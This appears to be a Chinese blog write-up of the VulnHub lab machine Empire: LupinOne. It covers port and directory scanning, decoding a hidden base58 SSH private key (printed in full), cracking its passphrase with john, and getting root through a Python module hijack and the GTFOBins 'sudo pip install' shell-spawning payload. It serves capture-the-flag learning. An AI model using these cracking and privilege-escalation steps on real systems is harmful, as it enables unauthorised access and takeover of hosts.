Empire LupinOne

靶机:Empire: LupinOne ~ VulnHub

1. 信息收集

1.1. 主机探测

netdiscover  -r 192.168.159.0/24
 Currently scanning: Finished!   |   Screen View: Unique Hosts              
 9 Captured ARP Req/Rep packets, from 4 hosts.   Total size: 540         
 _____________________________________________________________________________
   IP            At MAC Address     Count     Len  MAC Vendor / Hostname      
 -----------------------------------------------------------------------------
 192.168.159.1   00:50:56:c0:00:08      1      60  VMware, Inc.        
 192.168.159.2   00:50:56:e0:3a:a5      4     240  VMware, Inc.       
 192.168.159.254 00:50:56:e7:16:18      2     120  VMware, Inc.       
 192.168.159.150 00:0c:29:0f:d9:95      2     120  VMware, Inc.

1.2. 端口扫描

Starting Nmap 7.94 ( https://nmap.org ) at 2024-04-16 02:13 EDT
Nmap scan report for 192.168.159.150
Host is up (0.0014s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5 (protocol 2.0)
| ssh-hostkey: 
|   3072 ed:ea:d9:d3:af:19:9c:8e:4e:0f:31:db:f2:5d:12:79 (RSA)
|   256 bf:9f:a9:93:c5:87:21:a3:6b:6f:9e:e6:87:61:f5:19 (ECDSA)
|_  256 ac:18:ec:cc:35:c0:51:f5:6f:47:74:c3:01:95:b4:0f (ED25519)
80/tcp open  http    Apache httpd 2.4.48 ((Debian))
|_http-server-header: Apache/2.4.48 (Debian)
| http-robots.txt: 1 disallowed entry 
|_/~myfiles
|_http-title: Site doesn't have a title (text/html).
MAC Address: 00:0C:29:0F:D9:95 (VMware)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.8
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   1.35 ms 192.168.159.150

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 28.13 seconds

1.3. Web 信息收集

80 主页 arsene_lupin.jpg 尝试隐写分析未果,根据 robots.txt 访问 http://192.168.159.150/~myfiles/

扫描 /~myfiles/ 和根目录

dirsearch -u "http://192.168.159.150/" -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -e php,txt,json,html
dirsearch -u "http://192.168.159.150/~myfiles/" -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -e php,txt,json,html

没扫到有用信息……可能又是字典问题,谷歌……根目录有个 /~secret/ 路径【拼字典??……】,访问得

提示该目录下有个 ssh 私钥文件,破解的话得用 fasttrack 字典,用户名是 icex64,根据提示继续扫目录……

dirsearch 常规扫描没扫到,扫 ssh 私钥可能要加个前缀 . ,再次尝试扫描

dirsearch -u "http://192.168.159.150/~secret/" -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -e txt,pub --prefixes=. -f

得私钥 .mysecret.txt

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

经测是 base58 的编码,解码得私钥

-----BEGIN OPENSSH PRIVATE KEY-----
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
iUJ66WmRUN9EoVlkeCzQJwivI=
-----END OPENSSH PRIVATE KEY-----

利用 ssh2john 转换成 john 可处理的格式

ssh2john mysecret > id_rsa

john 用 fasttrack 字典破解【fasttrack.txt wordlst

john id_rsa --wordlist=/usr/share/wordlists/fasttrack.txt

P@55w0rd!

1.4. 补充【踩坑】

cat .mysecret.txt | base58 -d > mysecret

直接用上面命令解码写入的私钥虽不影响 john 的破解,但破解后用私钥【mysecret】登录会报错

Load key "mysecret": error in libcrypto

2. 渗透攻击

2.1. 获取 shell

ssh 私钥登录

chmod 400 prekey  #  600 亦可
ssh icex64@192.168.159.150 -i prekey

拿到一个 flag

2.2. 提权

当前用户没法直接对 heist.py 修改,但该脚本导入了 webbrowser 模块,经查当前用户对 /usr/lib/python3.9/webbrowser.py 有写权限,切换个 arsene 用户的 shell

sudo -l 找到个 pip【pip | GTFOBins

TF=$(mktemp -d)
echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
sudo pip install $TF

# 或者

TF=$(mktemp -d)
echo "import os; os.execl('/bin/bash', 'bash', '-c', 'bash <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
sudo pip install $TF

获得根目录 flag

posted @   z9m8r8  阅读(50)  评论(0编辑  收藏  举报
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